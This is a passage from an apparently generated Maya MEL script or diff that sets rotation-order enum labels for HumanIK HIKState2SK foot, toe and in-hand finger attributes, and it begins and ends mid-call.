"HIKState2SK", "LeftFootThumb2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", 